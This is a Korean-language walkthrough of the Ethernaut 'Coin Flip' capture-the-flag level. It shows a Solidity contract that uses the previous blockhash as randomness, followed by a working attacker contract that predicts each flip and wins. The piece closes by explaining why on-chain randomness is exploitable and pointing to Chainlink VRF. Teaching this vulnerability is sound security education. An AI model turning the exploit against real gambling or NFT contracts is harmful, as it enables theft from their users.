# 3. Coin Flip

## Problem
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

- See the Help page above, section "Beyond the console"

### Sources
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

## Solution
본격적으로 문제의 난이도가 상승하고 있다. 이 문제를 처음 봤다면 감이 정말 하나도 안올 수 있다. 단순히 계산해서 0.5의 확률로 10번을 연속으로 때려 맞추라는 의미인데, 이는 0.5^10 ~= 0.1% 의 확률을 뚫으라는 말과 다름이 없다.

즉, 이 문제는 이렇게 접근해서는 해결할 수 없다.

이 문제의 힌트는 "Beyond the console"이라는 문구에 있다. Ethernaut의 문서를 살펴보면, Remix에 가서 이러저러하게 해보세요라고 친절하게 설명하고 있다.
그런데 Remix에서 무엇을 하라는 의미일까?

다시 문제로 돌아가서, 그냥 때려 맞춰서 문제를 푸는것은 불가능에 가까우니 다른 방법을 찾아야 한다. 
그렇다면, 때려 맞추는것이 아니라, 결과를 미리 예측할 수 있어야 한다가 된다.

그런데 어떻게 결과를 예측할 수 있는가? 
핵심은 문제의 소스 컨트랙트에서 예측의 승패를 판정하는 방식에 있다. 순서대로 살펴보자.

1. 바로 직전의 블록 해시를 가져온다.
2. 블록이 진행되지 않은 경우 트랜잭션 실행을 취소(revert)한다.
3. 블록 해시를 FACTOR로 나눈 후, 1과 비교하여 true or false 값을 얻는다.
4. 3번의 boolean 값과 함수의 인자로 주어진 값을 비교하여 승패를 판정한다.


*잠깐, 여기서 FACTOR의 숫자는 무엇을 의미하는가?
`57896044618658097711785492504343953926634992332820282019728792003956564819968`라는 값은 솔리디티의 uint256 타입이 표현할 수 있는 수치의 대략 절반보다 아주 살짝 크다. 참고로 uint256 타입의 최대값은 `115792089237316195423570985008687907853269984665640564039457584007913129639935`이다. 따라서 uint256 타입의 블록해시 값에 FACTOR를 나눈다는 의미는, 그 결과값이 0 또는 1이 된다는 의미이다.*

여기서 핵심은 3번과 4번에 있다. 3번 값을 계산한 후 미리 그 결과를 예측한 후 정답만 컨트랙트에 제출할 수 있다면? 그게 10번이건 100번이건 항상 정답을 맞출 수 있다. 바로 코드를 작성해보자.

### Code
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract HackCoinFlip {
  using SafeMath for uint256;

  CoinFlip public coinFilpContract = CoinFlip(0x39Bb5CDA2CCcAA0BD07208251e98eA2C357c76A9); // Use your instance address
  uint256 public constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function hack() public {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;
    coinFilpContract.flip(side);
  }
}


contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```
해답은 아주 단순하다. 문제에서 제시된 컨트랙트와 동일하게 정답을 계산하는 코드를 작성한 후, 이를 통해 정답만 이용하여 문제의 컨트랙트를 호출하면 된다.


## Review
이 스테이지의 의도는 컨트랙트를 개발할 때, 난수를 생성하는것이 얼마나 어려운지를 시사하고자 하는데 있다. 크립토 개발을 하다보면 랜덤성을 활용해야 할 때가 종종 있다. 

예를 들어, NFT에 랜덤박스와 같은 기능을 적용하고 싶을 수 있다. 하지만, 이 때 이 문제의 코드와 같이 예측가능하거나 통제 가능한 난수 생성 방식을 사용하게 된다면, 이는 곧 중대한 취약점이 된다. 
스마트 컨트랙트의 모든 것들은 사실상 모두에게 공개되어 있으며, 이는 심지어 지역 변수와 private 상태 변수들도 해당한다. 더군다나 블록체인의 마이너는 블록 해시, 타임스탬프 혹은 특정 트랜잭션의 포함 여부까지 거의 모든것들을 통제할 수 있기 때문에, 얼마든지 이를 악용할 수 있다. 

그렇다면 컨트랙트에서는 난수를 전혀 활용할 수 없는가? 그렇지는 않다. 현 시점에서 베스트 프랙티스는 체인링크의 VRF를 사용하는 것이다. VRF는 Verifiable Random Function의 준말로, 쉽게 말해 온체인 컨트랙트에서 검증 가능한 난수를 생성하는 것을 의미한다. 온체인 랜덤니스와 VRF에 관련된 내용들은 워낙 중요한 주제이니만큼, 따로 다른 글에서 다뤄보도록 하자.